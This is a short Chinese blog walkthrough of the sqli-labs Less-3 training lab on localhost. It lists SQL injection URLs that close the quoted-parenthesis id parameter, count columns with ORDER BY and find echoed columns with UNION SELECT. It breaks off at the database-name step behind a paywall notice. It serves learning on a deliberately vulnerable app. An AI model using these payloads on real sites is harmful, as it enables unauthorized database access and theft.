sqli-labs Less-3

第三关界面,参数id

http://localhost/sqli-labs/Less-3/index.php?id=1'
看一下报错信息 check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1'
尝试在后面加上)
http://localhost/sqli-labs/Less-3/index.php?id=1') --+

没什么问题就像之前几关一样进入基本流程,截图省略
判断字段数:
http://localhost/sqli-labs/Less-3/index.php?id=1') order by 3 --+
判断回显位:
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+
获取当前数据库名称:
http://localhost/sqli-labs/

本文记录了在sqli-labs的Less-3关卡中,通过观察报错信息和尝试在参数id后添加符号来执行SQL注入的基本流程,详细描述了解决此关的关键步骤。
最低0.47元/天 解锁文章
513

被折叠的 条评论
为什么被折叠?



